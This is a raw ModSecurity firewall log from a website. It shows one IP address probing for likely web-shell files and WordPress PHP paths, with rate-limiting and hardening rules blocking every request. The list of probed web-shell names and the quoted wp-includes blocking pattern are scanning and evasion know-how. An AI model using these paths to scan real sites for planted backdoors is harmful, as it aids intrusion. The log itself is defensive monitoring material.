[Tue Dec 02 23:28:54.815949 2025] [:error] [pid 48650:tid 48665] [client 20.196.108.177:20243] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/AxAo.php"] [unique_id "aS8FtoQuWSn3xrJsXbn6sgAAAco"]
[Tue Dec 02 23:28:55.517693 2025] [:error] [pid 5272:tid 5292] [client 20.196.108.177:20235] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/AxAo.php"] [unique_id "aS8Ft-wbFoRzPGfZYVSPsgAAAVE"]
[Tue Dec 02 23:28:56.809182 2025] [:error] [pid 3647:tid 3661] [client 20.196.108.177:20459] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/AxAo.php"] [unique_id "aS8FuFJaqGDFgh_0XI_X0wAAAAg"]
[Tue Dec 02 23:28:57.325976 2025] [:error] [pid 5272:tid 5288] [client 20.196.108.177:20257] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aS8FuewbFoRzPGfZYVSPtgAAAU0"]
[Tue Dec 02 23:28:57.702983 2025] [:error] [pid 48650:tid 48662] [client 20.196.108.177:20402] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aS8FuYQuWSn3xrJsXbn6uAAAAcc"]
[Tue Dec 02 23:28:58.168590 2025] [:error] [pid 48650:tid 48672] [client 20.196.108.177:20384] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aS8FuoQuWSn3xrJsXbn6uwAAAdE"]
[Tue Dec 02 23:28:58.656233 2025] [:error] [pid 48650:tid 48657] [client 20.196.108.177:20343] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/themes/sketch/404.php"] [unique_id "aS8FuoQuWSn3xrJsXbn6vQAAAcI"]
[Tue Dec 02 23:28:59.012370 2025] [:error] [pid 5272:tid 5290] [client 20.196.108.177:20346] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aS8Fu-wbFoRzPGfZYVSPuQAAAU8"]
[Tue Dec 02 23:28:59.375379 2025] [:error] [pid 5272:tid 5298] [client 20.196.108.177:20245] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/nc.php"] [unique_id "aS8Fu-wbFoRzPGfZYVSPuwAAAVc"]
[Tue Dec 02 23:29:02.577760 2025] [:error] [pid 5273:tid 5304] [client 20.196.108.177:20231] [client 20.196.108.177] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aS8FviMmXO5H1kNwHHWGVgAAAYI"]
[Tue Dec 02 23:29:06.468312 2025] [:error] [pid 5232:tid 5246] [client 20.196.108.177:20404] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aS8FwgApmO-auDy1ob4otgAAAQw"]
[Tue Dec 02 23:29:06.938247 2025] [:error] [pid 3760:tid 3771] [client 20.196.108.177:20262] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aS8FwljLYEjdWVcKgVWZBwAAAMk"]
[Tue Dec 02 23:29:07.427753 2025] [:error] [pid 3648:tid 3704] [client 20.196.108.177:20225] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aS8Fw-QEp5icp6XOJr0w8gAAAFQ"]
[Tue Dec 02 23:29:07.790539 2025] [:error] [pid 5232:tid 5236] [client 20.196.108.177:20459] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aS8FwwApmO-auDy1ob4ougAAAQI"]
[Tue Dec 02 23:29:08.095677 2025] [:error] [pid 5232:tid 5254] [client 20.196.108.177:20255] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "aS8FxAApmO-auDy1ob4ovQAAARQ"]
[Tue Dec 02 23:29:08.522747 2025] [:error] [pid 3760:tid 3773] [client 20.196.108.177:20329] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "aS8FxFjLYEjdWVcKgVWZCAAAAMs"]
[Tue Dec 02 23:29:08.951102 2025] [:error] [pid 3760:tid 3784] [client 20.196.108.177:20267] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "aS8FxFjLYEjdWVcKgVWZCgAAANY"]
[Tue Dec 02 23:29:09.485462 2025] [:error] [pid 5232:tid 5257] [client 20.196.108.177:20193] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/indo.php"] [unique_id "aS8FxQApmO-auDy1ob4owQAAARc"]
[Tue Dec 02 23:29:09.853721 2025] [:error] [pid 3760:tid 3764] [client 20.196.108.177:20284] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aS8FxVjLYEjdWVcKgVWZDgAAAMI"]
[Tue Dec 02 23:29:10.480366 2025] [:error] [pid 5232:tid 5246] [client 20.196.108.177:20205] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aS8FxgApmO-auDy1ob4oxwAAAQw"]
[Tue Dec 02 23:29:10.907657 2025] [:error] [pid 3760:tid 3766] [client 20.196.108.177:20239] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aS8FxljLYEjdWVcKgVWZEgAAAMQ"]
[Tue Dec 02 23:29:11.309329 2025] [:error] [pid 3649:tid 3728] [client 20.196.108.177:20400] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/card.php"] [unique_id "aS8Fx7wjL4uqC6YFjxHKxgAAAJE"]
[Tue Dec 02 23:29:11.775492 2025] [:error] [pid 3648:tid 3686] [client 20.196.108.177:20306] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aS8Fx-QEp5icp6XOJr0w-wAAAEI"]
[Tue Dec 02 23:29:12.133020 2025] [:error] [pid 3648:tid 3704] [client 20.196.108.177:20242] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aS8FyOQEp5icp6XOJr0w_AAAAFQ"]
[Tue Dec 02 23:29:12.626383 2025] [:error] [pid 3648:tid 3691] [client 20.196.108.177:20254] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aS8FyOQEp5icp6XOJr0w_QAAAEc"]
[Tue Dec 02 23:29:12.936685 2025] [:error] [pid 5232:tid 5249] [client 20.196.108.177:20260] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/menu.php"] [unique_id "aS8FyAApmO-auDy1ob4ozgAAAQ8"]
[Tue Dec 02 23:29:13.528115 2025] [:error] [pid 5232:tid 5234] [client 20.196.108.177:20275] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aS8FyQApmO-auDy1ob4ozwAAAQA"]
[Tue Dec 02 23:29:13.937888 2025] [:error] [pid 5272:tid 5290] [client 20.196.108.177:20169] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aS8FyewbFoRzPGfZYVSPyQAAAU8"]
[Tue Dec 02 23:29:14.253012 2025] [:error] [pid 5272:tid 5284] [client 20.196.108.177:20372] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aS8FyuwbFoRzPGfZYVSPygAAAUk"]
[Tue Dec 02 23:29:14.649602 2025] [:error] [pid 3649:tid 3724] [client 20.196.108.177:20415] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mnkalo.php"] [unique_id "aS8FyrwjL4uqC6YFjxHK0QAAAI0"]
[Tue Dec 02 23:29:15.410829 2025] [:error] [pid 48650:tid 48678] [client 20.196.108.177:20162] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aS8Fy4QuWSn3xrJsXbn61AAAAdc"]
[Tue Dec 02 23:29:16.016841 2025] [:error] [pid 3760:tid 3770] [client 20.196.108.177:20462] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aS8FzFjLYEjdWVcKgVWZGgAAAMg"]
[Tue Dec 02 23:29:16.603817 2025] [:error] [pid 3648:tid 3695] [client 20.196.108.177:20299] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aS8FzOQEp5icp6XOJr0xBgAAAEs"]
[Tue Dec 02 23:29:17.057844 2025] [:error] [pid 5272:tid 5296] [client 20.196.108.177:20272] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file3.php"] [unique_id "aS8FzewbFoRzPGfZYVSP0AAAAVU"]
[Tue Dec 02 23:29:17.437542 2025] [:error] [pid 3649:tid 3728] [client 20.196.108.177:20186] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aS8FzbwjL4uqC6YFjxHK1gAAAJE"]
[Tue Dec 02 23:29:18.143837 2025] [:error] [pid 3649:tid 3721] [client 20.196.108.177:20268] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aS8FzrwjL4uqC6YFjxHK2AAAAIo"]
[Tue Dec 02 23:29:18.685894 2025] [:error] [pid 3647:tid 3665] [client 20.196.108.177:20264] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aS8FzlJaqGDFgh_0XI_X5gAAAAw"]
[Tue Dec 02 23:29:19.100127 2025] [:error] [pid 5232:tid 5234] [client 20.196.108.177:20277] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/031.php"] [unique_id "aS8FzwApmO-auDy1ob4o1AAAAQA"]
[Tue Dec 02 23:29:19.771582 2025] [:error] [pid 48650:tid 48663] [client 20.196.108.177:20166] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mws.php"] [unique_id "aS8Fz4QuWSn3xrJsXbn62gAAAcg"]
[Tue Dec 02 23:29:20.120417 2025] [:error] [pid 48650:tid 48661] [client 20.196.108.177:20332] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mws.php"] [unique_id "aS8F0IQuWSn3xrJsXbn62wAAAcY"]
[Tue Dec 02 23:29:20.545994 2025] [:error] [pid 3648:tid 3703] [client 20.196.108.177:20232] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mws.php"] [unique_id "aS8F0OQEp5icp6XOJr0xDwAAAFM"]
[Tue Dec 02 23:29:20.857511 2025] [:error] [pid 5273:tid 5315] [client 20.196.108.177:20380] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/mws.php"] [unique_id "aS8F0CMmXO5H1kNwHHWGXAAAAY0"]
[Tue Dec 02 23:29:21.444425 2025] [:error] [pid 3760:tid 3781] [client 20.196.108.177:20184] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aS8F0VjLYEjdWVcKgVWZJgAAANM"]
[Tue Dec 02 23:29:21.936393 2025] [:error] [pid 5232:tid 5253] [client 20.196.108.177:20288] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aS8F0QApmO-auDy1ob4o1gAAARM"]
[Tue Dec 02 23:29:22.371393 2025] [:error] [pid 3649:tid 3712] [client 20.196.108.177:20161] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aS8F0rwjL4uqC6YFjxHK3QAAAIE"]
[Tue Dec 02 23:29:22.811890 2025] [:error] [pid 5232:tid 5247] [client 20.196.108.177:20228] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dlu.php"] [unique_id "aS8F0gApmO-auDy1ob4o2QAAAQ0"]
[Tue Dec 02 23:29:23.250230 2025] [:error] [pid 5273:tid 5325] [client 20.196.108.177:20151] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aS8F0yMmXO5H1kNwHHWGXwAAAZc"]
[Tue Dec 02 23:29:23.708381 2025] [:error] [pid 5272:tid 5299] [client 20.196.108.177:20276] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aS8F0-wbFoRzPGfZYVSP1AAAAVg"]
[Tue Dec 02 23:29:24.866857 2025] [:error] [pid 3649:tid 3721] [client 20.196.108.177:20104] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aS8F1LwjL4uqC6YFjxHK4gAAAIo"]
[Tue Dec 02 23:29:25.824854 2025] [:error] [pid 5272:tid 5276] [client 20.196.108.177:20285] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aS8F1ewbFoRzPGfZYVSP1gAAAUE"]
[Tue Dec 02 23:29:26.231864 2025] [:error] [pid 5273:tid 5313] [client 20.196.108.177:20261] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the1me.php"] [unique_id "aS8F1iMmXO5H1kNwHHWGYgAAAYs"]
[Tue Dec 02 23:29:26.907903 2025] [:error] [pid 3647:tid 3675] [client 20.196.108.177:20259] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the1me.php"] [unique_id "aS8F1lJaqGDFgh_0XI_X9gAAABY"]
[Tue Dec 02 23:29:27.386238 2025] [:error] [pid 5272:tid 5297] [client 20.196.108.177:20317] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the1me.php"] [unique_id "aS8F1-wbFoRzPGfZYVSP1wAAAVY"]
[Tue Dec 02 23:29:27.727941 2025] [:error] [pid 48650:tid 48668] [client 20.196.108.177:20269] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the1me.php"] [unique_id "aS8F14QuWSn3xrJsXbn64gAAAc0"]
[Tue Dec 02 23:29:28.050170 2025] [:error] [pid 48650:tid 48662] [client 20.196.108.177:20203] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lala.php"] [unique_id "aS8F2IQuWSn3xrJsXbn64wAAAcc"]
